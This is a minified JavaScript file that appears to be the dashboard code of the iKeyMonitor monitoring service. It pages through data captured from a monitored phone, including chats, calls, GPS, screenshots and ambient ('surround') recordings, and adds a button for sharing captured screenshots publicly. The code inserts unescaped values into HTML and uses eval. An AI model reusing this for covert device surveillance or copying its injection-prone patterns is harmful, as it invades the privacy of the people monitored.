function GeturlString(name)
{var reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)");var r=window.location.href.split('##')[1].substr(1).match(reg);if(r!=null)return r[2];return null;}
var page_num=1;function getData(table_num){var a=GeturlString('a');if(window.location.href.split('##')[1].indexOf("&type=")>-1){var type=GeturlString('type');}else{var type='';}
if(window.location.href.split('##')[1].indexOf("&table_num=")>-1){var table_num=GeturlString('table_num');}else{var table_num='';}
if(window.location.href.split('##')[1].indexOf("&log_type=")>-1){var log_type=GeturlString('log_type');}else{var log_type='';}
if(window.location.href.split('##')[1].indexOf("&direction=")>-1){var direction=GeturlString('direction');}else{var direction='';}
if(window.location.href.split('##')[1].indexOf("&search_type=")>-1){var search_type=GeturlString('search_type');}else{var search_type='';}
if(window.location.href.split('##')[1].indexOf("&sender=")>-1){var sender=GeturlString('sender');}else{var sender='';}
if(a=='contact'||a=='call'||a=='screenshots'||a=='gps'||a=='chats'||a=='ikm_install'||a=='websites'||a=='calendar'||a=='reminder'||a=='note'||a=='voice'||a=='audio'||a=='photo'||a=='surround'||a=='alertword'||(a=='request'&&(type=='chats'||type=='website'||type=='gps'||type=='call'||type=='contact'||type=='voice'||type=='audio'||type=='calendar'||type=='reminder'||type=='note'||type=='photo'||type=='surround'))||a=='screenshots_show'||a=='photo_show'){page_num++;var url=window.location.href.split('##')[1]+'&page='+page_num;if(url.indexOf("m=search")>-1){}else{if(a=='gps'||url.indexOf("m=search")>-1){var get_start_time=GeturlString('startTime');var get_end_time=GeturlString('endTime');}else{var get_start_time=$('input[name="startTime"]').val();var get_end_time=$('input[name="endTime"]').val();}
var search_val=$("#header_search_text").val();var daterangepick_range=$('input[name="daterangepick_range"]').val();if(search_val.length>0){url+='&search='+search_val;}
if(get_start_time!=null){url+='&startTime='+get_start_time;}
if(get_end_time!=null){url+='&endTime='+get_end_time;}
if(daterangepick_range!=null){url+='&search_type='+daterangepick_range;}else{url+='&search_type=1';}}
url=url.replace(/\%2B/g,'+');url=encodeURI(decodeURI(url));new_url=url.replace(/\+/g,'%2B');if(a=='screenshots'||a=='photo'){url+='&get_more=1';$.ajax({url:url,type:"post",async:false,data:{'rand':Math.random()},dataType:"json",success:function(data,textStatus){var data=eval(data);if(data['show_getmore']=='0'){$("#get_more_data_button").css('display','none');}else{$("#get_more_data_button").css('display','block');}
for(var key in data){if(a=='screenshots'){var id=data[key]['id'];if(typeof id!=='undefined'){var alertword=data[key]['alertword'];var timestamp=data[key]['timestamp'];var new_file=data[key]['new_file'];var em_table=data[key]['em_table'];share='<div class="addthis_inline_share_toolbox_uopn" onclick="sharedpic(\''+new_file+'\',\''+em_table+'\',\''+id+'\');"  data-url="http://ikeymonitor.com/sharedpic.php?new_file='+new_file+'" data-title="Funny moments recorded by iKeyMonitor" 	data-media="http://emcpanel.com/share_pic/'+new_file+'"></div>';if(id.length>0){var img_div='<div class="col-lg-2 col-md-4 col-sm-4 col-xs-6"><div class="mt-card-item"><div class="mt-card-avatar mt-overlay-1 mt-card-screen"><a href="/index.php?m=img&a=index&table_num='+table_num+'&screenshot_id='+id+'&new_file='+new_file+'&em_table='+em_table+'&pic_id='+id+'"  class="fancybox-button" data-fancybox-type="image" rel="fancybox-button" title="'+timestamp+'" ><img src="/index.php?m=img&a=index&table_num='+table_num+'&screenshot_id='+id+'" /></a> </div><div class="mt-card-content"><p class="mt-card-desc"> &nbsp; <span class="font-blue">  &nbsp; '+timestamp+'</span></p>';}
if(alertword.length>0){img_div+='<p class="mt-card-desc font-grey-mint">'+messages.recorded_screenshot4+': <span class="notranslate">'+alertword+'</span></p>';}
img_div+=share+'</div></div></div>';$("#img_div").append(img_div);}}
if(a=='photo'){var id=data[key]['id'];if(typeof id!=='undefined'){var alertword=data[key]['alertword'];var timestamp=data[key]['timestamp'];var new_file=data[key]['new_file'];var em_table=data[key]['em_table'];share='<div class="addthis_inline_share_toolbox_uopn" onclick="sharedpic(\''+new_file+'\',\''+em_table+'\',\''+id+'\');"  data-url="http://ikeymonitor.com/sharedpic.php?new_file='+new_file+'" data-title="Funny moments recorded by iKeyMonitor" 	data-media="http://emcpanel.com/share_pic/'+new_file+'"></div>';if(id.length>0){var img_div='<div class="col-lg-2 col-md-4 col-sm-4 col-xs-6"><div class="mt-card-item"><div class="mt-card-avatar mt-overlay-1 mt-card-screen"><a href="/index.php?m=img&a=index&table_num='+table_num+'&photo_id='+id+'&new_file='+new_file+'&em_table='+em_table+'&pic_id='+id+'"  class="fancybox-button" data-fancybox-type="image" rel="fancybox-button" title="'+timestamp+'" ><img src="/index.php?m=img&a=index&table_num='+table_num+'&photo_id='+id+'" /></a> </div><div class="mt-card-content"><p class="mt-card-desc"> <span class="font-blue"> &nbsp; '+timestamp+'</span></p>'+share+'</div></div></div>';}
$("#img_div").append(img_div);}}}
if(typeof addthis!=='undefined'){if(typeof(eval('addthis.layers.refresh'))=="function"){addthis.layers.refresh();}}}})}else{$("#page-content").load(new_url);}}}